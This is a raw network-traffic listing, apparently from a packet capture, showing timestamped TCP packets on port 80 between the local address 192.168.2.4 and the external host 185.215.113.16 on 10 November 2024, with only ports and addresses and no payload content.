Nov 10, 2024 19:44:29.617429018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617439985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617449999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617455959 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617464066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617479086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617486000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617501020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617507935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617516994 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617527008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617535114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617541075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617559910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617571115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617579937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617588997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617605925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617610931 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617621899 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617628098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617650032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617654085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617662907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617672920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617688894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617695093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617702961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617713928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617722988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617742062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617748022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617762089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617774010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617780924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617789984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617799997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617808104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617825985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617846012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617865086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617925882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617933989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617944002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617959976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617976904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617984056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617994070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618010044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618020058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618032932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618043900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618051052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618063927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618074894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618086100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618096113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618113995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618211985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618221045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618242979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618277073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618288040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618361950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618381977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618391037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618407011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618417025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618432999 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618443012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618451118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618460894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618469954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618483067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618495941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618501902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618521929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618527889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618537903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618546963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618558884 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618566036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618575096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618587017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618597984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618606091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618616104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618622065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618638039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618647099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618654013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618666887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618678093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618685007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618699074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.618705988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618716002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.618741035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.662126064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.662136078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.662146091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.662206888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696135044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696146011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696156025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696166992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696194887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696202993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696227074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696233988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696248055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696255922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696265936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696278095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696285009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696296930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696310997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696324110 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696336031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696341991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696358919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696365118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696377993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696388960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696398973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696408987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696420908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696427107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696439981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696444035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696461916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696468115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696475029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696486950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696501017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696512938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696520090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696531057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696544886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696551085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696561098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696568012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696579933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696588993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696597099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696604013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696619034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.696624041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696640015 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.696652889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728226900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728293896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728317022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728326082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728344917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728351116 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728362083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728368998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728380919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728387117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728399992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728404045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728413105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.728421926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728641033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.728641033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.730362892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730371952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730377913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730396032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730408907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730413914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.730451107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.730889082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730925083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.730937004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730947971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.730972052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.730986118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.730993032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731002092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731087923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731102943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731116056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731132984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731158972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731180906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731190920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731209040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731223106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731246948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731637001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731674910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731729031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731739044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731760025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731765032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731776953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731781960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731797934 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731805086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731812954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731822014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731836081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731844902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731851101 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731862068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731873989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731878042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731890917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.731895924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731905937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.731923103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732340097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732352018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732376099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732386112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732397079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732408047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732414007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732429028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732436895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732448101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732462883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732466936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732475042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732489109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732497931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732505083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732522964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732532024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732542038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732556105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732572079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732584000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732593060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732609987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732615948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732633114 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732646942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732666969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732676983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732697010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732702017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732712030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732717037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732727051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732733011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732741117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732748985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732763052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732775927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732871056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732880116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732897997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732919931 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732932091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732938051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732950926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732963085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.732969999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.732989073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733004093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733481884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733490944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733509064 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733521938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733526945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733539104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733546972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733555079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733573914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733596087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733671904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733681917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733699083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733712912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733745098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733787060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733804941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733818054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733835936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733844995 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733855009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733861923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733874083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733882904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733896971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733916998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733921051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733932972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733947992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733963966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.733969927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733989000 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.733995914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734009981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734016895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734025955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734034061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734042883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734051943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734064102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734069109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734081030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734085083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734097958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734107971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734117985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734123945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734138012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734150887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734158993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734172106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734181881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734201908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734205961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734215021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734229088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734235048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734255075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734261036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734273911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734282970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734289885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734299898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734306097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734314919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734328985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734334946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734344959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734353065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734364033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734374046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734383106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734397888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734406948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734416008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.734430075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.734441996 CET	80	49762	185.215.113.16	192.168.2.4
